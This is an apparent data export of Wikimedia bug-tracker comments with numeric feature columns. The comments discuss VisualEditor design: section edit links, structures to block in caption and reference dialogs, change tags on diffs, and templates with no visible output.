> > > * ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but
> > > not that bad
> > 
> > Personally I think one of these two are the only viable options. The dropdown
> > arrow or cog is too much unnecessary choice. The point of section edit links
> > is to enable speedy editing of single sections, so introducing a dropdown is
> > overloading things. Most new editors will appreciate defaulting to VE, and
> > for power users who need edit source, this is where having a preference to
> > change your default to edit source would come in handy (a preference I am
> > guessing would free us up to also move ""Edit source"" at the top of the page in
> > to a dropdown).
> 
> I disagree. I would say that, as an axiom, preferences are bad; they add
> complexity for coders (expensive), bug testers (irritating) and most
> importantly users (alienating).
> 
> In this case, we would also lose momentum as many power users might early-on
> opt out of VisualEditor for section edits, and so never use it as much as
> we'd
> hope. We would lose their input, their bug reports and most importantly their
> enculturation for new users of this being the 'right' way to edit. We don't
> want another Vector roll-out disaster on our hands; ever day that Monobook
> remains on the servers is another notch on that failure yardstick. :-(

On the other hand, you potentially distract and confuse the heck out of new users by presenting a dropdown to edit source when they were about click edit. The conceptual difference between ""edit"" and ""edit source"" is not crystal clear to people who don't know the differences between VE and wikitext up front. 

There are also a lot of section edits on most large articles, sometimes in close succession. I think we should be really cautious about enabling multi-level controls and options on something this ubiquitous on a single page.",,,1371521332,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.5,0.0,0.0,1.0,6.5,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,1.0,0.5,5.0,9.5,0.5,1.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.5,0.0,4.0,2.5,17.0,0.5,2.0,4.5,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,2.0,9.5,13.5,0.0,2.5,0.0,2.0,0.0,1.0,1.5,0.0,1.0,0.0,0.5,0.0,3.7235501567398117,0.5669409613375131,"**swalling** wrote:

(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

On the other hand, you potentially distract and confuse the heck out of new users by presenting a dropdown to edit source when they were about click edit. The conceptual difference between ""edit"" and ""edit source"" is not crystal clear to people who don't know the differences between VE and wikitext up front. 

There are also a lot of section edits on most large articles, sometimes in close succession. I think we should be really cautious about enabling multi-level controls and options on something this ubiquitous on a single page."
242886,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #8)
> > * ""[edit]"" going to one place unless you've got a preference in which case it
> > goes to another is… confusing
> > 
> > * ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but
> > not that bad
> 
> Personally I think one of these two are the only viable options. The dropdown
> arrow or cog is too much unnecessary choice. The point of section edit links
> is to enable speedy editing of single sections, so introducing a dropdown is
> overloading things. Most new editors will appreciate defaulting to VE, and
> for power users who need edit source, this is where having a preference to
> change your default to edit source would come in handy (a preference I am
> guessing would free us up to also move ""Edit source"" at the top of the page in
> to a dropdown).

I disagree. I would say that, as an axiom, preferences are bad; they add complexity for coders (expensive), bug testers (irritating) and most importantly users (alienating).

In this case, we would also lose momentum as many power users might early-on opt out of VisualEditor for section edits, and so never use it as much as we'd hope. We would lose their input, their bug reports and most importantly their enculturation for new users of this being the 'right' way to edit. We don't want another Vector roll-out disaster on our hands; ever day that Monobook remains on the servers is another notch on that failure yardstick. :-(",,,1371520516,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,0.0,0.5,2.0,1.5,0.0,0.0,0.0,3.0,2.5,0.0,0.0,0.0,4.0,1.0,7.0,10.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,3.5,0.5,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,2.5,0.5,1.5,0.0,0.5,0.5,0.0,0.0,15.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,1.5,1.5,12.0,0.5,1.5,4.5,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,6.5,10.5,8.5,0.0,1.0,0.0,6.5,0.0,0.5,0.5,0.0,1.0,0.0,1.0,0.0,3.6915184678522572,0.6497948016415869,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I disagree. I would say that, as an axiom, preferences are bad; they add complexity for coders (expensive), bug testers (irritating) and most importantly users (alienating).

In this case, we would also lose momentum as many power users might early-on opt out of VisualEditor for section edits, and so never use it as much as we'd hope. We would lose their input, their bug reports and most importantly their enculturation for new users of this being the 'right' way to edit. We don't want another Vector roll-out disaster on our hands; ever day that Monobook remains on the servers is another notch on that failure yardstick. :-("
242881,VisualEditor: Display a link to both VE and wikitext editor on every section header,"**swalling** wrote:


> * ""[edit]"" going to one place unless you've got a preference in which case it
> goes to another is… confusing
> 
> * ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but
> not that bad

Personally I think one of these two are the only viable options. The dropdown arrow or cog is too much unnecessary choice. The point of section edit links is to enable speedy editing of single sections, so introducing a dropdown is overloading things. Most new editors will appreciate defaulting to VE, and for power users who need edit source, this is where having a preference to change your default to edit source would come in handy (a preference I am guessing would free us up to also move ""Edit source"" at the top of the page in to a dropdown).",,,1371520133,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0.5,0.0,0.0,0.0,0.0,6.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,2.0,2.0,3.0,10.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,5.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,6.0,3.5,7.5,1.0,1.5,7.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,10.5,3.5,0.0,1.5,0.0,3.0,0.0,1.5,3.0,1.0,3.5,0.0,1.0,0.0,3.8983173076923077,0.7443509615384616,"**swalling** wrote:


QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Personally I think one of these two are the only viable options. The dropdown arrow or cog is too much unnecessary choice. The point of section edit links is to enable speedy editing of single sections, so introducing a dropdown is overloading things. Most new editors will appreciate defaulting to VE, and for power users who need edit source, this is where having a preference to change your default to edit source would come in handy (a preference I am guessing would free us up to also move ""Edit source"" at the top of the page in to a dropdown)."
242875,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #6)
> I like this idea.  It would be nice if it worked for at least Monobook (in
> addition to Vector).

Completely agree. Not sure quite whether this treatment is suitable for Monobook or whether we should invent a different one there?",,,1371519315,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,3.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,17.0,6.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,3.0,14.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.027777777777778,0.9166666666666666,"(In reply to comment #6)
QUOTE
QUOTE

Completely agree. Not sure quite whether this treatment is suitable for Monobook or whether we should invent a different one there?"
242867,VisualEditor: Display a link to both VE and wikitext editor on every section header,I like this idea.  It would be nice if it worked for at least Monobook (in addition to Vector).,,,1371516381,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,21.0,8.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.2083333333333335,0.9583333333333334,I like this idea.  It would be nice if it worked for at least Monobook (in addition to Vector).
242860,VisualEditor: Display a link to both VE and wikitext editor on every section header,"Having discussed, we think we've found a design that's consistent with other usage: instead of having ""[edit | edit source]"" or ""[edit ⚙]"", we will have ""[edit ▾]"" with the down-arrow expanding to a menu (in the same way that Vector does) for ""edit source""). This is still easily accessible for users and open for all users, not just those with a preference, but does not take lots of screen estate (problem with the first possibility), and is easily discoverable (second possibility).",,,1371515280,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,0.0,2.0,5.5,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,5.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.5,0.0,12.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,1.0,0.0,0.5,1.0,0.5,0.0,4.0,2.0,2.5,0.0,3.0,6.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.5,8.0,2.5,0.0,5.0,0.0,1.5,0.0,1.5,2.0,0.0,1.5,0.0,0.0,2.5,3.516787658802178,0.6869328493647913,"Having discussed, we think we've found a design that's consistent with other usage: instead of having ""[edit | edit source]"" or ""[edit ⚙]"", we will have ""[edit ▾]"" with the down-arrow expanding to a menu (in the same way that Vector does) for ""edit source""). This is still easily accessible for users and open for all users, not just those with a preference, but does not take lots of screen estate (problem with the first possibility), and is easily discoverable (second possibility)."
242852,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #3)
> I like ""[edit ⚙]"" more - what do you think? MatmaRex discussed this with me
> last night.

So if you click 'edit', it always goes to VE, and if you click ⚙ (first time I saw the 'gear' character, but good usage), it always goes to wikitext?

That seems reasonable if the wikitext target is big enough that it's not frustrating to click.",,,1371499202,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,4.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,4.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,10.0,5.0,3.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,8.0,12.0,3.0,1.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.219178082191781,0.6575342465753424,"(In reply to comment #3)
QUOTE
QUOTE

So if you click 'edit', it always goes to VE, and if you click ⚙ (first time I saw the 'gear' character, but good usage), it always goes to wikitext?

That seems reasonable if the wikitext target is big enough that it's not frustrating to click."
242844,VisualEditor: Display a link to both VE and wikitext editor on every section header,"(In reply to comment #2)
> There is much discussion at bug 48429 about the need for both types of edit
> links on every header. 
> 
> What might also work is an ""edit"" link (for VisualEditor) and an icon that
> when
> clicked will take one to the source editor for that section. The icon would
> have a popup tooltip that says ""edit source"". It would show up when the mouse
> cursor is run over the icon.

My concern with this area is three fold:

* ""[edit] [edit source]"" is a huge amount of extra chrome/clutter to enable for all users

* ""[edit]"" going to one place unless you've got a preference in which case it goes to another is… confusing

* ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but not that bad

I like ""[edit ⚙]"" more - what do you think? MatmaRex discussed this with me last night.",,,1371498837,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,True,,,-2,,0.5,0.0,0.0,0.0,0.5,3.0,1.0,0.0,0.0,1.5,1.0,1.5,0.0,0.0,0.0,2.0,0.0,2.0,7.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,6.0,0.5,0.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,7.0,1.5,1.5,6.0,0.0,0.0,0.0,0.5,2.5,0.0,1.5,0.0,5.0,7.0,5.0,0.5,6.5,0.0,5.0,0.0,1.5,2.5,0.5,1.0,0.5,0.0,5.5,2.993271221532091,0.6479296066252589,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

My concern with this area is three fold:

* ""[edit] [edit source]"" is a huge amount of extra chrome/clutter to enable for all users

* ""[edit]"" going to one place unless you've got a preference in which case it goes to another is… confusing

* ""[edit]"" OR ""[edit source]"" if you've got a preference is a bit messy, but not that bad

I like ""[edit ⚙]"" more - what do you think? MatmaRex discussed this with me last night."
242837,VisualEditor: Display a link to both VE and wikitext editor on every section header,"There is much discussion at bug 48429 about the need for both types of edit links on every header. 

What might also work is an ""edit"" link (for VisualEditor) and an icon that when clicked will take one to the source editor for that section. The icon would have a popup tooltip that says ""edit source"". It would show up when the mouse cursor is run over the icon.",,,1371472595,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,2.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,10.0,4.0,6.0,2.0,1.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,2.0,12.0,1.0,0.0,5.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6875,0.7125,"There is much discussion at bug 48429 about the need for both types of edit links on every header. 

What might also work is an ""edit"" link (for VisualEditor) and an icon that when clicked will take one to the source editor for that section. The icon would have a popup tooltip that says ""edit source"". It would show up when the mouse cursor is run over the icon."
242831,VisualEditor: Display a link to both VE and wikitext editor on every section header,"See comment 23 and 24, at Bug 48429 wherein Bartosz Dziewoński has submitted a patch to Gerrit.

(""https://gerrit.wikimedia.org/r/68868 (Gerrit Change
I13bbb9549c999bb7301bbcf530706a813184425d)"")

If his patch isn't accepted, then I would again urge High Priority for an alternative fix.",,,1371431206,,PHID-USER-hphmqcx66p6d6gvmjzp7,True,,,PHID-TASK-tqom52xzffar63gwv2th,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,25.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,4.0,8.0,18.0,0.0,4.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.470588235294118,0.8431372549019608,"See comment 23 and 24, at Bug 48429 wherein Bartosz Dziewoński has submitted a patch to Gerrit.

(""GERRIT_URL (Gerrit Change
I13bbb9549c999bb7301bbcf530706a813184425d)"")

If his patch isn't accepted, then I would again urge High Priority for an alternative fix."
51657,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,"In general, ""everything"" is allowed (text; annotations; inline and block images; headings; lists; HTML blocks; entities; transclusions; references; etc.), except for:

Image captions
-> No lists

References
-> No references (but transclusions of {{#tag:ref|text}} get around this for one level as an out ref; eww)

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50459",High,80.0,1371422340,1379657458.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-osst63lnijz6dlmc57xi,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.5,0.0,0.5,0.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,12.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,7.5,0.5,1.5,3.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,3.4056603773584904,0.660377358490566,"In general, ""everything"" is allowed (text; annotations; inline and block images; headings; lists; HTML blocks; entities; transclusions; references; etc.), except for:

Image captions
-> No lists

References
-> No references (but transclusions of {{#tag:ref|text}} get around this for one level as an out ref; eww)

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
242421,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,This was completed by the toolbar re-write that was merged for the 12 September release; moving bug 50459 from a blocker (which was wrong anyway) to a see-also.,,,1379657458,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-osst63lnijz6dlmc57xi,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,14.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,8.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,3.6944444444444446,0.8611111111111112,This was completed by the toolbar re-write that was merged for the 12 September release; moving bug 50459 from a blocker (which was wrong anyway) to a see-also.
242417,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,"The references dialog has no references button already. Not sure about image captions as their broken on my local copy, but the code is there to specify the toolbar for each dialog.",,,1371816425,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-osst63lnijz6dlmc57xi,task_subcomment,,True,c1,2,True,,,-2,,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,6.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8857142857142857,"The references dialog has no references button already. Not sure about image captions as their broken on my local copy, but the code is there to specify the toolbar for each dialog."
242413,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,"Re references: yeah, that struck me as highly likely to confuse people (and highly unnecessary) when I saw it.",,,1371535012,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-osst63lnijz6dlmc57xi,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,8.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9583333333333334,"Re references: yeah, that struck me as highly likely to confuse people (and highly unnecessary) when I saw it."
242408,VisualEditor: Prevent certain kinds of structures in certain kinds of sub-editor dialogs,"Examples for captions:

https://www.mediawiki.org/wiki/VisualEditor:TestImageCaptions

Examples for references:

https://www.mediawiki.org/wiki/VisualEditor:TestReferenceContents",,,1371422391,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-osst63lnijz6dlmc57xi,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.153846153846154,0.5384615384615384,"Examples for captions:

URL

Examples for references:

URL"
51656,Show change tags on edit diff views,"From bug 49602 comment 0:

| The VisualEditor edit tag (Tag: VisualEditor) should show on diffs, too.
| This will probably require a core change.  However, I'm filing it here, both
| so you're aware of it, and because it might need to be configurable (it might
| be we don't want all tags, such as AbuseFilter, etc. to show on diffs).

This is said request for a core change for this to be possible. :-)

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",High,80.0,1371419460,1373019604.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-acs2ekfum76g27vb7duj,task_description,resolved,True,c1,2,True,False,True,-3,,1.0,0.0,0.0,1.0,1.0,3.0,1.5,0.5,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.5,0.0,5.5,7.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,2.5,1.5,2.5,1.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.0,0.0,1.5,0.0,0.0,0.0,8.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,3.0,7.5,0.5,0.5,5.5,0.0,1.0,0.0,0.0,5.5,0.0,2.0,0.0,4.0,7.5,2.5,0.0,0.0,0.0,4.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,1.5,3.375,0.7666666666666666,"From bug 49602 comment 0:

| The VisualEditor edit tag (Tag: VisualEditor) should show on diffs, too.
| This will probably require a core change.  However, I'm filing it here, both
| so you're aware of it, and because it might need to be configurable (it might
| be we don't want all tags, such as AbuseFilter, etc. to show on diffs).

This is said request for a core change for this to be possible. :-)

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
242379,Show change tags on edit diff views,"

%%%*** This bug has been marked as a duplicate of bug 25824 ***%%%",,,1373019604,,PHID-USER-lptfllsuhn22a4praqqo,True,,,PHID-TASK-acs2ekfum76g27vb7duj,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 25824 ***%%%"
51633,VisualEditor: Make some way to display display-less content (e.g. silent transclusions like {{lowercase title}}),"https://en.wikipedia.org/wiki/User:%C3%8F%C2%BF%C2%BD?veaction=edit

If a template has no output (such as <https://en.wikipedia.org/wiki/Template:Lowercase_title>), it has no visible output and becomes very easy to silently remove using VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49667",High,80.0,1371357660,1374086311.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-uoptaiss5vhdq32dkswe,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,5.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.5535714285714284,0.6071428571428571,"URL

If a template has no output (such as <URL it has no visible output and becomes very easy to silently remove using VisualEditor.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
240992,VisualEditor: Make some way to display display-less content (e.g. silent transclusions like {{lowercase title}}),"(In reply to comment #2)
> Is this the same as bug 49806? (I know that's newer but it has a lot more
> discussion)

It is indeed; merged.

